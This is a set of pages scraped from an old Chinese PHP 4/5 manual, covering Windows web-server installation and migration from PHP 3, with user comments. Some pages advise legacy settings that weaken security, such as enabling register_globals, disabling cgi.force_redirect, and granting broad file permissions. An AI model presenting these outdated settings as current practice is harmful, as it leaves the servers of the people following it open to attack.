   |-php-win.exe          -- 执行脚本时不弹出命令提示行窗口
   |
   |-php.exe              -- CLI 可执行程序 - 仅使用在命令行脚本
   |
   |-..
   |
   |-php.ini-dist         -- 默认的 php.ini 设置
   |
   |-php.ini-recommended  -- 推荐 php.ini 设置
   |
   |-php5activescript.dll
   |
   |-php5apache.dll
   |
   |-php5apache2.dll
   |
   |-..
   |
   |-php5ts.dll           -- 核心 PHP DLL 文件
   |
   |-...

请注意它们之间的不同和相似之处。PHP 4 和 PHP 5 都有一个 CGI 可执行文件、一个 CLI 可执行文件和服务器模块，但是它们位于不同的文件夹和／或有着不同的命名。PHP 4 将服务器模块放在 sapi 文件夹，而 PHP 5 并没有此目录，它的服务器模块文件位于 PHP 根文件夹中。PHP 5 的扩展支持 DLL 文件也并没有放在一个单独的目录中。

注: 在 PHP 4 中，需要将位于 dll 和 sapi 文件夹中的文件移动到主文件夹中（例如 C:\php）。

下面是 PHP 4 和 PHP 5 附带的服务器模块列表：

  • sapi/php4activescript.dll (php5activescript.dll) - ActiveScript 引擎，允许将 PHP 嵌入 Windows 应用程序中。

  • sapi/php4apache.dll（php5apache.dll） - Apache 1.3.x 模块。

  • sapi/php4apache2.dll（php5apache2.dll） - Apache 2.0.x 模块。

  • sapi/php4isapi.dll（php5isapi.dll） - ISAPI 模块，支持 ISAPI 兼容的 web 服务器，比如 IIS 4.0/PWS 4.0 或更新版本。

  • sapi/php4nsapi.dll（php5nsapi.dll） - Sun/iPlanet/Netscape 服务器模块。

  • sapi/php4pi3web.dll（PHP 5 无此模块） - Pi3Web 服务器模块。

服务器模块比 CGI 可执行程序提供了更好的性能和更多的功能。CLI 版本是为使用 PHP 命令行脚本而设计的。关于 CLI 的更多信息可以在 PHP 的命令行模式一章中找到。

警告

SAPI 模块在 4.1 中有较多的增强。但是，在老系统中可能会产生服务器错误，或导致服务器的其它模块停止工作，比如 ASP。

CGI 和 CLI 可执行文件以及 web 服务器模块都需要 php4ts.dll（php5ts.dll）。必须确认该文件可以在 PHP 安装路径中找到。对该 DLL 的搜索顺序为：

  • 调用 php.exe 时所在的目录，或者若使用 SAPI 模块时，web 服务器的目录（例如 C:\Program Files\Apache Group\Apache2\bin）。

  • 任何在 Windows 的 PATH 环境变量中指定的目录。

要让 php4ts.dll / php5ts.dll 能正确被搜索到，有下面三个选择：复制该文件到 Windows 系统目录，复制该文件到 web 服务器的目录，或者把 PHP 目录（例如 C:\php）添加到 PATH 环境变量中。为了将来更好的维护，建议使用最后一个选择，将 PHP 目录添加到 PATH 环境变量中，因为这样更便于将来升级 PHP。在相应的常见问题解答项目中可以了解如何将 PHP 目录添加到 PATH 环境变量中。

下一步是为 PHP 设置一个有效的配置文件，php.ini。在 ZIP 包中有两个 ini 文件，php.ini-dist 和 php.ini-recommended。建议使用 php.ini-recommended，因为在该文件中优化了性能和安全。请仔细阅读该文件中的注释，因为它从 php.ini-dist 修改而来，会对设置产生较大的影响。例如将 display_errors 设置为 off，将 magic_quotes_gpc 设置为 off。除了阅读这些部分，还可以学习一下 ini 设置，并手动设置每一个配置项目。如果想要最安全的设置，这是最好的方法，虽然 PHP 在默认配置下也是很安全的。复制所选择的 ini 文件到 PHP 能找到的目录中，并将其重命名为 php.ini。PHP 搜索 php.ini 的路径在配置文件一节已有介绍。

如果使用 Apache 2，更简单的选择是使用 PHPIniDir 指令（请阅读在 Apache 2 下的安装）；若不是，最好的选择是设置 PHPRC 环境变量。它在此常见问题解答项目中进行了解释。

注: 如果在 Windows NT、2000、XP 或 2003 中使用 NTFS 分区，请确认运行 web 服务器的用户有权限读取 php.ini（例如将其设置为 Everyone 可读）

下面的步骤是可选的：

  • 编辑新的 php.ini 文件。如果计划使用 OmniHTTPd，不要执行下一步。设置 doc_root 并指向 web 服务器的 document_root。例如：

    doc_root = c:\inetpub\wwwroot // for IIS/PWS

doc_root = c:\apache\htdocs // for Apache

  • 选择 PHP 装载的扩展库。请阅读关于 Windows 扩展一节以了解如何设置扩展库，以及哪些功能已经内置无需扩展库。请注意建议在全新安装时先不要在 php.ini 中加载任何扩展库，首先要保证 PHP 自身能够正常工作。

  • 在 PWS 和 IIS，可以设置 browscap 配置：在 Windows 9x/Me 中指向 c:\windows\system\inetsrv\browscap.ini，在 NT/2000 中指向 c:\winnt\system32\inetsrv\browscap.ini，在 XP 中指向 c:\windows\system32\inetsrv\browscap.ini。要得到最新版本的 browscap.ini，请阅读如下常见问题解答项目。

PHP 现在已经安装在系统中了。接下来一步是选择一个 web 服务器，并为之启用 PHP。请在本章目录中选择一个 web 服务器以了解更详细的安装步骤。

add a note add a note User Contributed Notes
Jason Greene
04-May-2006 09:06
If you are running websites within an Application Pool (which is now the default for IIS6 under 2K3) you need to make sure that your PHP directory (e.g. C:\PHP) has read permissions for the user assigned to the Application Pool.

1. In the IIS snap-in, choose Application Pools
2. Right-click on DefaultAppPool (or other, if you have one defined) and choose Properties
3. Click the Identity tab
4. Make a note of the user name set as the security account for this application pool (e.g. "Network Service")
5. Browse to your PHP directory and grant that user read permissions for the entire directory.

In my case, I had to add permissions for the user "NETWORK SERVICE" to get PHP scripts to work. Otherwise I received 401/403 authorization errors when trying to load them in a remote browser.

Note also that first tried adding IUSR permissions to the PHP directory, but that had no effect.
Ben
07-Apr-2006 06:17
In the Note Titled "Windows Server 2003 (x64 bits) + IIS 6.0" in step 1 when adding your new .php extension, it will not work unless after you click on the "Home Directory" you make sure that your "Execute permissions:" are set to "Scripts Only".

By default, on my machine, the permissions were set to "None" not allowing php to run.

Also, for more security it might be wise to Add the new extension just to your default site instead of the whole Web Sites folder in IIS. This would only apply if you were hosting multiple sites and had a site you didn't want scripts to run on.
Tom
14-Feb-2006 01:54
On this page and the FAQ they point out that to reset the Windows PATH variable to include your php dir, you need to completely restart the machine.

If you can't afford to do that (installing on a live server for example), you can use the setx.exe tool from the Windows Resource Kit (google it). Like so:

c:\pathtoresourcekit> setx.exe PATH "%PATH%;c:\php" \m
Windows Server 2003 (x64 bits) + IIS 6.0
01-Feb-2006 07:16
1. Add new extension (.php)

   * Expand the local computer in the left pane
   * Right-click on "Web Sites" in the left pane, then click "Properties" in the menu that pops up
   * Flip top the "Home Directory" tab
   * Click "Configuration"
   * Flip to the "Mappings" tab
   * Click "Add..."
   * Enter the full path to php5isapi.dll in the "Executable" textbox (Browse... to find it more easily if you need to)
   * Enter ".php" in the "Extension" textbox
   * Select radial button "Limit to", enter "GET,POST,HEAD"
   * Click "OK" all the way out

2. Verify php5isapi.dll is allowed

You must verify that the versions of php5isapi.dll that you want to use are allowed.

   2.1. In Internet Information Services (IIS) Manager, in the left-hand column, click the Web Services Extensions node and verify php5isapi.dll is allowed and all other Web Service Extensions are prohibited.
   2.2. If the version of php5isapi.dll that you want to use does not appear in the list, follow the instructions to enable it and then repeat this procedure:

Go into IIS
Below all of the websites is a folder: Web Service Extensions
In blue, to the lower left, is a choice: Add A New Web Service Extension
Add PHP/PHP5ISAPI.dll
Choose To ALLOW it.

   2.3 If the version of php5isapi.dll you want to use appears on the list but is not allowed, right click the version of php5isapi.dll you want to allow and click Allow.

3. Configuring IIS for 32-Bit Emulation Mode (THIS IS MOST IMPORTANT!!!!)

3.1. If you are installing IIS on x64-based editions of Windows Server 2003 or Windows Server 2003 R2, IIS must be configured to run in 32 bit emulation mode. Perform the following procedure on each front-end Web server running an x64-based edition of Windows Server 2003.
Configure Internet Information Services (IIS) for 32-bit mode

   1. Click Start, and then click Run.
   2. In the Open box, type cmd, and then click OK.
   3. In the command prompt window, navigate to the %drive%:\Inetpub\Adminscripts folder, where %drive% is the drive in which Windows Server 2003 is installed.
   4. In the Adminscripts folder, type the following command:

     cscript adsutil.vbs set w3svc/AppPools/Enable32bitAppOnWin64 1

     Note  The value "1" for Enable32bitAppOnWin64 specifies 32-bit mode, whereas the value "0" specifies 64-bit mode.
   5. Press ENTER.
   6. Type iisreset and then press ENTER.
   7. Close the command prompt window.
   8. Re-star System.

Note  The Run WWW service in IIS 5.0 isolation mode check box is only selected if you have upgraded to IIS 6.0 on Windows Server 2003 from IIS 5.0 on Windows 2000. New installations of IIS 6.0 use IIS 6.0 worker process isolation mode by default.
patatraboum at nospam dot com
27-Dec-2005 10:09
IIS + PHP

- The browser can't find your php code like localhost/dir/dir_code.php from any virtual directory (404 error)
- You are sure the code exists
You may rename it with a .html extension and check if it displays
- Process of your php code like localhost/root_code.php is ok from the root directory

It may come from the doc_root directive in php.ini whitch should be set to blank :

doc_root =

Then restart IIS to reload php.ini
some dude @ some place
05-Nov-2005 12:57
on two recent installation attempts on iis6 on win2k3 i followed the php manual and windows configuration steps exactly and php would still not run.

on the first install i had to give the USER account (not IUSR) read execute permissions to this file, c:\php\sapi\php4isapi.dll. using filemon i saw that it was being accessed and access was denied.

steps:
- right click on this file > properties > security > add > location (select the server -not domain if listed) > advanced > find now > Users (usually the last item) > click OK
- select Read & Execute > apply

also a complete computer restart was required in each install
Bill dot Rook at Gmail dot com
19-Sep-2005 01:09
doc_root = ".;c:\inetpub\wwwroot" does seem to work with virtual websites. This might be a better option then commenting out the line.
Jason
10-Sep-2005 07:54
For me atleast, the steps for installing php 5 on IIS 6 on windows 2003 seemed to get buried with the other setups. I found it difficult to quickly look through and make sure I covered every step. So I created a clean step by step tutorial with screenshots:
http://psdforums.com/article.php?a=9
atomictaco at atomic-taco dot com
11-Jul-2005 12:17
In response to phpmanual at pbb dot dds dot nl:

You are absolutly correct.  I found this out while trying to install PHP4 with Apache2 on XPPro.  Here are 3 general guidelines that I have found to be correct:

- Path may not have spaces.  Change C:\Program Files to C:\Progra~1  If you don't understand this, go to start-->run-->command (not cmd).  Type cd\ and hit enter.  Then type dir.  You should see all your directory names there.

- Paths should not be enclosed by quotes.

- Use forward slashes (/) and not backslashes (\)
thierry dot bo at nxextxcxoxuxrxrxixexr dot com
20-Dec-2004 08:50
With PHP 4.3.x and apache 1.3.x on windows, PHPRC is used only if php is installed as cgi. With module, no matter using setenv in httpd.conf or PHPRC as windows environment variable, it is not used.
cpz at akik-ffm dot de
20-Dec-2004 02:24
In the above, "the web server's directory" means the directory where the server executable lives, for example for the Apache installation on my XP box this is "\program files\apache group\apache2\bin" and NOT just "\program files\apache group\apache2".

But it's probably best to tell your web server where PHP's ini file is stored, for example via PHPIniDir for Apache's http.conf.
mic42 at users dot sourceforge dot net
01-Dec-2004 12:09
To install PHP as CGI under the Tcl Webserver Tclhttpd follow the instructions at:
http://wiki.tcl.tk/12130
chuacheehow at gmail dot com
08-Oct-2004 08:55
My experience with IIS 5.1 is that the doc_root directive be commented in order for virtual directories to recognise PHP files (with PHP installed as CGI).
phpmanual at pbb dot dds dot nl
07-Oct-2004 09:29
Okay, I'm a total newbie to this, so my findings may be wrong, but this is what I found out.

The manual says "do not have spaces in the path (like C:\Program Files\PHP) as some web servers will crash if you do". Indeed, when using this with PHP5 on WinXP, I got the error message "The specified module could not be found."
However, the problem seems not to lie in the SPACE in the pathname, but in the QUOTES that Windows adds when a space is in the pathname! This is what I found:

"C:\Program Files\php5\php5isapi.dll" -- doesn't work
C:\php5\php5isapi.dll -- works
"C:\php5\php5isapi.dll" -- doesn't work
C:\Progra~1\php5\php5isapi.dll -- works
"C:\Progra~1\php5\php5isapi.dll" -- doesn't work
C:\Program Files\php5\php5isapi.dll -- doesn't work, because it's not accepted by Internet Information Services

I don't know if this all is a problem with Internet Information Services or with PHP, but it would be nice if it was more documented in the PHP manual.
php dot user dot com
29-Aug-2004 04:43
After having the same problem as specifed below with "No input file specified". I changed the doc_root as mentioned.

This is fine if all php scripts are going to be run from the c:\inetpub\wwwroot directory. To enable it for multiple websites where the root directories are all different simply leave the doc_root attribute in the php.ini file blank.

This is for the isapi version not cgi implementation. It also means you don't have to set IUSR or IWAM access to the PHP root directory.
add a note add a note

后退 | 起点 | 前进
Windows 系统下的安装 | 上一级 | ActiveScript


OmniHTTPd Server

本节包括针对 Windows 下的 OmniHTTPd 的内容与提示。

注: 应该首先阅读手工安装步骤！

警告

如果使用 CGI 方式安装，则服务器对于某些可能的攻击是开放的。请阅读 CGI 安全一章以学习如何防御这些攻击。

要在 OmniHTTPd 中安装 PHP 需要完成以下步骤。这是 CGI 方式的安装。OmniHTTPd 支持 SAPI，但是有测试显示以 ISAPI 模块方式使用 PHP 不太稳定。

CGI 用户重要提示: 请阅读 FAQ：cgi.force_redirect 中的重要细节。此选项需要被设为 0。

  1. 安装 OmniHTTPd 服务器。

  2. 右键点击系统托盘中蓝色的 OmniHTTPd 图标并选择 Properties

  3. 点击 web Server Global Settings

  4. 在“External”标签页，输入：virtual = .php | actual = c:\php\php.exe（如果是 PHP 5 则用 php-cgi.exe），并点击 Add 按钮

  5. 在 Mime 标签页，输入：virtual = wwwserver/stdcgi | actual = .php，并点击 Add 按钮

  6. 点击 OK

对每个想要和 PHP 关联的后缀都重复 2 - 6 步。

注: 有些 OmniHTTPd 安装包中内置了 PHP 支持。可以在安装时选择自定义安装，取消选中 PHP 部分。推荐使用最新的 PHP 可执行包。有些 OmniHTTPd 服务器内置了 PHP 4 beta 版，应该选择不安装内置版而安装自己的版本。如果服务器已经安装了，则在上面的第 4 和 5 步用 Replace 按钮来设置新的准确的信息。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Microsoft Windows 下的 Sun，iPlanet 和 Netscape 服务器 | 上一级 | Microsoft Windows 下的 Sambar 服务器


Microsoft Windows 下的 Sambar 服务器

本节包含针对 Windows 下的 Sambar 服务器的说明和提示。

注: 应该首先阅读手工安装步骤！

下面列出了怎样在 Windows 下设置 Sambar 服务器的 ISAPI 模块。

  • 在 Sambar 安装目录中找到 mappings.ini 文件（在 config 目录中）。

  • 打开 mappings.ini 并在 [ISAPI] 部分加入下面一行：

    例子 6-7. Sambar 的 ISAPI 设置

    #对 PHP 4
*.php = c:\php\php4isapi.dll

#对 PHP 5
*.php = c:\php\php5isapi.dll
    （上面假定 PHP 安装在 c:\php。）

  • 重启动 Sambar 服务器以使改动生效。

add a note add a note User Contributed Notes
com at sambar dot info
01-Oct-2002 08:47
Welcome,

We have now a good place for php issues on the SambarServer.

Thanks! to Derick from php.net

For specific Sambar issues you can go to http://www.sambarserver.info

Steffen
add a note add a note

后退 | 起点 | 前进
OmniHTTPd Server | 上一级 | Microsoft Windows 下的 Xitami


Microsoft Windows 下的 Sun，iPlanet 和 Netscape 服务器

本节包含针对在 Windows 下 Sun Java System web 服务器，Sun ONE web 服务器，iPlanet 和 Netscape 服务器的 PHP 安装说明与提示。

自 PHP 4.3.3 起可以通过 NSAPI 模块使用 PHP 脚本来产生定制目录列表于错误页面。也可以使用为兼容 Apache 的附加函数。目前使用的 web 服务器的支持请阅读有关子请求的说明。

Sun，iPlanet 和 Netscape 服务器的 CGI 方式安装

要将 PHP 安装为 CGI 处理器，按以下步骤进行：

  • 将 php4ts.dll 拷贝到 systemroot（即 Windows 的安装目录）

  • 在命令行做文件关联，输入以下两行命令：
    assoc .php=PHPScript
ftype PHPScript=c:\php\php.exe %1 %*

  • 在 Netscape Enterprise Administration Server 中建一个空的 shellcgi 目录并随即删除（此步骤在 obj.conf 中新建了 5 行重要指令以允许 web 服务器处理 shellcgi 脚本）。

  • 在 Netscape Enterprise Administration Server 中新建一个新的 MIME 类型（Category: type，Content-Type: magnus-internal/shellcgi，File Suffix: php）。

  • 对每个要运行 PHP 的 web 服务器实例都进行以上步骤。

更多将 PHP 设置为 CGI 可执行程序的内容见：http://benoit.noss.free.fr/php/install-php.html。

Sun，iPlanet 和 Netscape 服务器的 NSAPI 方式

要将 PHP 以 NSAPI 方式安装，按以下步骤进行：

  • 将 php4ts.dll 拷贝到 systemroot（即 Windows 的安装目录）

  • 在命令行做文件关联，输入以下两行命令：
    assoc .php=PHPScript
ftype PHPScript=c:\php\php.exe %1 %*

  • 在 Netscape Enterprise Administration Server 中新建一个新的 MIME 类型（Category: type，Content-Type: magnus-internal/x-httpd-php，File Suffix: php）。

  • 编辑 magnus.conf（服务器版本 >= 6）或 obj.conf（服务器版本 < 6）并加入下面两行；要将新行放在 mime types init 之后：
    Init fn="load-modules" funcs="php4_init,php4_execute,php4_auth_trans" shlib="c:/php/sapi/php4nsapi.dll"
Init fn="php4_init" LateInit="yes" errorString="Failed to initialise PHP!" [php_ini="c:/path/to/php.ini"]
    （PHP >= 4.3.3）php_ini 参数为可选项，但加上后就可以把 php.ini 放到 web 服务器的配置目录中去。

  • 在 obj.conf 中配置默认对象（对于虚拟服务器类 [Sun web Server 6.0+] 是 vserver.obj.conf 文件）：在 <Object name="default"> 一节，在所有的“ObjectType”行之后和所有的“AddLog”行之前加上这一行：
    Service fn="php4_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]
    （PHP >= 4.3.3）作为附加参数可以加入一些特殊的 php.ini 值，例如可以在调用 php4_execute 时设定专门的 docroot="/path/to/docroot"。对于布尔的 ini 选项请用 0/1 作为值，而不是 "On","Off",...（这样不能正确工作），例如要用 zlib.output_compression=1 而不是 zlib.output_compression="On"。

  • 这几行仅在想要配置一个只有 PHP 脚本的目录时需要（类似 cgi-bin 目录）：
    <Object name="x-httpd-php">
ObjectType fn="force-type" type="magnus-internal/x-httpd-php"
Service fn=php4_execute [inikey=value inikey=value ...]
</Object>
    在此之后可以在管理服务器中配置目录并将其类型设为 x-httpd-php。其中的所有文件都将作为 PHP 执行。这样可以隐藏 PHP 的使用，文件名还保留为 .html。

  • 重启动 web 服务使改动生效。

  • 对每个要运行 PHP 的 web 服务器实例都进行以上步骤。

注: 更多将 PHP 设置为 NSAPI内容见：http://benoit.noss.free.fr/php/install-php4.html。

注: PHP 使用的堆栈大小（stacksize）依赖于 web 服务器的配置。如果在运行很大的 PHP 脚本时死掉，建议在管理服务器中增大此值（在 "MAGNUS EDITOR" 一节中）。

CGI 环境以及推荐在 php.ini 中进行的修改

在写 PHP 脚本时很重要一点是 Sun JSWS/Sun ONE WS/iPlanet/Netscape 是多线程 web 服务器。因此所有的请求都运行于同一个进程空间（即 web 服务器自己的空间）而此空间只有一个环境。如果想取得 CGI 变量例如 PATH_INFO，HTTP_HOST 等时不能用老的 PHP 3.x 的方式 getenv() 或者类似手段（$_ENV）进行。只能取得运行的 web 服务器的环境变量而没有任何有效的 CGI 变量！

注: 为什么环境中有一些（无效的）CGI 变量？

解答：这是因为从管理服务器启动了 web 服务器进程，这将运行 web 服务器的启动脚本，而你想要启动的是 CGI 脚本（CGI 脚本在管理服务器内部！）。这是为什么 web 服务器启动的环境中有一些 CGI 环境变量的原因。可以不从管理服务器启动 web 服务器来试验一下。用管理员用户从命令行手工启动――这样就不会看到类似 CGI 的环境变量了。

PHP 4.x 中取得 CGI 变量的正确方式是使用超全局变量 $_SERVER。如果有一些老的脚本用了 $HTTP_HOST 等，那应该在 php.ini 中打开 register_globals 选项并改变变量顺序（重要提示：去掉 "E"，因为这里不需要环境变量）：
variables_order = "GPCS"
register_globals = On

错误页面的特殊使用或定制目录列表（PHP >= 4.3.3）

可以用 PHP 来为 "404 Not Found" 或类似的错误提示生成错误页面。对每个想要覆盖的错误页面在 obj.conf 中的对象里加入下面这行：
Error fn="php4_execute" code=XXX script="/path/to/script.php" [inikey=value inikey=value...]
其中的 XXX 是 HTTP 错误代码。删除掉可能干扰到自己设置的任何其它 Error 指令。如果对所有可能出现的错误都用同一个脚本处理，不要 code 参数即可。脚本里可以用 $_SERVER['ERROR_TYPE'] 取得 HTTP 状态代码。

还可以生成自己定制的目录列表。只要创建一个显示目录列表的 PHP 脚本并用下面一行在 obj.conf 中替换掉相应 type="magnus-internal/directory" 默认的 Service 设置：
Service fn="php4_execute" type="magnus-internal/directory" script="/path/to/script.php" [inikey=value inikey=value...]
对于错误和目录列表页面，原始的 URI 和转换后的 URI 都在变量 $_SERVER['PATH_INFO'] 和 $_SERVER['PATH_TRANSLATED'] 中。

有关 nsapi_virtual() 和子请求（PHP >= 4.3.3）的说明

NSAPI 模块现在支持 nsapi_virtual() 函数（别名：virtual()）来进行子请求并将结果插入到 web 页面里。问题是，此函数用到了一些 NSAPI 库中没有文档说明的特性。

在 Unix 下这不是问题，因为模块会自动寻找所需的函数并使用。如果找不到，nsapi_virtual() 被禁用。

在 Windows 下 DLL 处理的局限性需要使用最新的 ns-httpdXX.dll 文件中的自动检测功能。这已在版本 6.1 及以下的服务器中测试过。如果用了更高版本的 Sun 服务器，检测会失败并禁用 nsapi_virtual()。

在这种情况下，试试下面的方法。在 magnus.conf/obj.conf 中的 php4_init 里加入下面的参数：
Init fn=php4_init ... server_lib="ns-httpdXX.dll"
其中 XX 是正确的 DLL 版本号。在 server-root 目录下去找合适的 DLL 的名字。文件大小最大的 DLL 就是了。

可以用 phpinfo() 函数来检查状态。

注: 但要注意：对 nsapi_virtual() 的支持是试验性质的！

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Microsoft Windows 下的 Apache 2.0.x | 上一级 | OmniHTTPd Server


Microsoft Windows 下的 Xitami

本节包含针对 Windows 下的 Xitami 的说明与提示。

注: 应该首先阅读手工安装步骤！

下面列出了怎样在 Windows 下在 Xitami 中设置 PHP 的 CGI 方式。

CGI 用户重要提示: 请阅读 FAQ：cgi.force_redirect 中的重要细节。此选项需要被设为 0。如果想要使用 $_SERVER['PHP_SELF']，还必须激活 cgi.fix_pathinfo 选项。

警告

如果使用 CGI 方式安装，则服务器对于某些可能的攻击是开放的。请阅读 CGI 安全一章以学习如何防御这些攻击。

  • 确保 web 服务器在运行，在浏览器中打开 Xitami 的管理控制台（通常是 http://127.0.0.1/admin），并点击 Configuration。

  • 找到 Filters，在 File extensions（.xxx）字段中加入想要 PHP 解析的后缀名（例如 .php）。

  • 在 Filter command 或 script 中输入 PHP 的 CGI 可执行文件名，例如 PHP 4 是 C:\php\php.exe，PHP 5 是 C:\php\php-cgi.exe。

  • 点击“Save”图标。

  • 重启动服务器以使改动生效。

add a note add a note User Contributed Notes
ae_engine at yahoo dot com
02-Nov-2004 10:07
I have successfully configured Xitami using cgi.redirect
in PHP
set cgi.redirect = 1
set cgi.redirect_status = CGI_REDIRECT_STATUS;

in Xitami, defaults.cfg
under CGI_ENVIRONMENT
insert CGI_REDIRECT_STATUS="-"
rjb1 at catalog dot net dot au
18-Sep-2004 10:23
I am running xitami as a business www server on ms-windows. I have a number of long-running PHP scripts. I developed a tiny java applet to receive and display progressive status information from these slow scripts. It effectively facilitates SERVER PUSH from PHP scripts to IE and Netscape browsers.  Take a look: catalog.net.au/netClient.zip (Ron Boles, Melbourne, Australia)
rjb1 at catalog dot net dot au
12-Apr-2004 08:57
PHP via ISAPI with XITAMI
I have developed a small GUI in c++, which runs XITAMI and configures the Xitami ISAPI interface for use with PHP. It is so much faster than the PHP cgi interface and appears to be more stable too.
Take a look here: http://catalog.net.au/xisapi/default.html
Ron Boles
Melbourne, Australia
Roshambo
17-Oct-2003 04:39
I was only able to get PHP (4.3.3) working under Xitami (2.5c0) on Windows XP (SP1) by adding the following lines to defaults.cfg:

[Mime]
   php=application/x-httpd-php

[Filter]
   .php="c:/php/php.exe"

Note the quotation marks and the forward slashes in the filter section.
david at advisorymatters dot co dot uk
12-Sep-2003 07:54
Using the CGI (c:\php[version]\php.exe) with Xitami since PHP version 4.3.2 requires the following setting in php.ini before the $_SERVER['PHP_SELF'] call will return a value:

cgi.fix_pathinfo=1

Note that $_SERVER['SCRIPT_NAME'] still works.
janko dot slavic at email dot si
01-Dec-2002 06:51
[Editors Note]
You can force IE to disregard a cached page by pressing the Control key and click the Refresh button.

Please, do not forget the IE caches files.

I had a test.php and got the error message. I changed the defaults.cfg and also the cgi.force_redirect to = 0. After restarting the Xitami the error message was still there.
After a while I saved the test.php file to test2.php and found that it is working fine...
add a note add a note

后退 | 起点 | 前进
Microsoft Windows 下的 Sambar 服务器 | 上一级 | 从源程序编译


PHP 和 Zend 引擎内部资料

PHP 手册
后退 前进

VII. PHP 和 Zend 引擎内部资料

如果想开始开发 PHP 或 Zend 扩展库，则需要先准备由各种 API 提供的编程环境。本章将介绍由不同的 PHP 和 Zend 引擎版本提供的 API。由于这里的信息都有些过时了，因此除了手册之外最好去阅读 PHP 源程序中的各种文件，例如 README.SELF-CONTAINED-EXTENSIONS 和 README.EXT_SKEL。

目录
44. PHP 扩展库编程 API 指南
45. Zend API：深入 PHP 内核
46. 扩展 PHP 3

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zlib_get_coding_type |  | PHP 扩展库编程 API 指南


错误报告

自 PHP 5 起引进了新常量 E_STRICT，其值为 2048。它提供了对用户代码的协同性和向前兼容性的运行时 PHP 建议，有助于使用户保持最新和最好的编程风格。例如在使用已过时的函数时 STRICT 信息会提出警告。

注: E_ALL 不包括 E_STRICT，因此其默认未激活。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
新对象模型 | 上一级 | 从 PHP 3 移植到 PHP 4


从 PHP/FI 2 移植到 PHP 3

PHP 手册
后退 前进

附录 D. 从 PHP/FI 2 移植到 PHP 3

目录
关于 PHP 3.0 的不兼容性
old_function
开始/结束标记
if..endif 语法
while 语法
表达式类型
错误消息已经改变
布尔值的快速计算
函数 TRUE/FALSE 返回值
其它不兼容

关于 PHP 3.0 的不兼容性

PHP 3.0 从底层重写了代码。它有着比 2.0 更健壮和统一的解析器。3.0 也更快、占用更少的内存。但是，这些改进难以避免兼容性的削弱，包括语法和功能上兼容性的削弱。

另外，PHP 的开发者尝试在版本 3.0 中使得 PHP 的语法和语义更加简洁，这也导致了一些不兼容。最后，我们相信这些改变是值得的。

本章将会指导你认识从 PHP/FI 2.0 到 PHP 3.0 升级所带来的的障碍并帮助你解决它。这里没有提到 3.0 的新功能，除非必要。

一个转换程序可以帮助自动转换旧有的 PHP/FI 2.0 脚本。这个程序可以在 PHP 3.0 发布包中的 convertor 子目录中找到。可是，该程序只能转换语法的改变，因此，仍然需要仔细阅读下面的部分。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
处理全局变量 | 上一级 | old_function


从 PHP 3 移植到 PHP 4

PHP 手册
后退 前进

附录 C. 从 PHP 3 移植到 PHP 4

目录
PHP 4 所作的改变
同时运行 PHP 3 和 PHP 4
移植配置文件
解析器行为
错误报告
初始化
empty("0")
缺少的函数
PHP 3 扩展
字符串中的变量替换
Cookies
处理全局变量

PHP 4 所作的改变

PHP 4 和其整合的 Zend engine 极大的增强了 PHP 的性能和兼容性，对细节代码也十分注意。所以从 PHP 3 到 PHP 4 的移植要比从 PHP/FI 2 到 PHP 3 的移植容易得多。很多 PHP 3 的代码无需修改就可以在 PHP 4 中运行，但是还是需要在转换程序运行环境时注意一些细节。下面就是一些提示。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
错误报告 | 上一级 | 同时运行 PHP 3 和 PHP 4


移植配置文件

全局配置文件 php3.ini 已经改名为 php.ini。

Apache 配置文件也有一些细微的改动。PHP 模块所属的 MIME 类型已经改变。

application/x-httpd-php3        -->    application/x-httpd-php
application/x-httpd-php3-source -->    application/x-httpd-php-source

可以使配置文件工作在两个 PHP 版本上（取决于哪个版本编译到服务器上），使用下面的语法：

AddType  application/x-httpd-php3        .php3
AddType  application/x-httpd-php3-source .php3s

AddType  application/x-httpd-php         .php
AddType  application/x-httpd-php-source  .phps

除此之外，关于 PHP 的 Apache 指令已经改变。

从 PHP 4.0 开始，只有四个 Apache 指令与 PHP 相关：

php_value [PHP directive name] [value]
php_flag [PHP directive name] [On|Off]
php_admin_value [PHP directive name] [value]
php_admin_flag [PHP directive name] [On|Off]

Admin values 和非 Admin values 有两处不同：

  • Admin values（或 flags）指仅可以出现在服务器范围内的 apache 配置文件（例如：httpd.conf）。

  • Standard values（或 flags）无法控制某种 PHP 指令，例如：安全模式（如果在 .htaccess 文件中覆盖了安全模式的设定，安全模式 就失去了它的意义）。相比较，Admin values 可以更改任何 PHP 指令的值。

为了使转移过程更加容易，PHP 4 捆绑了自动转换 Apache 配置文件和 .htaccess 文件使 PHP 3 和 PHP 4 都可以工作。但这些脚本并不转换 MIME 类型！需要自己转换它。

要转换 Apache 配置文件，运行 apconf-conv.sh 脚本（在 scripts/apache/ 目录）例如：

~/php4/scripts/apache:#  ./apconf-conv.sh /usr/local/apache/conf/httpd.conf

原来的配置文件会更名为 httpd.conf.orig。

要转换 .htaccess 文件，运行 aphtaccess-conv.sh 脚本（也在 scripts/apache/ directory 目录下）：

~/php4/scripts/apache:#  find / -name .htaccess -exec ./aphtaccess-conv.sh {} \;

同样的，原有的 .htaccess 文件会以 .orig 后缀保存。

运行转换脚本需要安装 awk。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
同时运行 PHP 3 和 PHP 4 | 上一级 | 解析器行为


Cookies

PHP 3 在设置 cookies 时有一个不好的习惯，它总是将 setcookie() 所设置的 cookies 以相反的顺序保存。PHP 4 改变了这个习惯，创建 cookies 时以代码中设置 cookies 的顺序保存。

这可能使得原有代码不能正常工作。但是 PHP 3 的行为的确很古怪，应该加以改变以防止将来产生更多的问题。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
字符串中的变量替换 | 上一级 | 处理全局变量


empty("0")

可能最具争议的改变是对 empty() 函数行为的改变。一个仅包含字符“0”（是零，不是英文字母“O”）的字符串现在被认为是空字符串，而 PHP 3 中则相反。

这个改变对 web 程序很有意义，所有的 input 表单返回的都是 string，甚至填写的是数字。PHP 能够自动进行类型转换。但另一方面，这可能不是代码的原意，可能导致代码莫名其妙的错误。

add a note add a note User Contributed Notes
alan at frostick dot de
03-Dec-2001 02:01
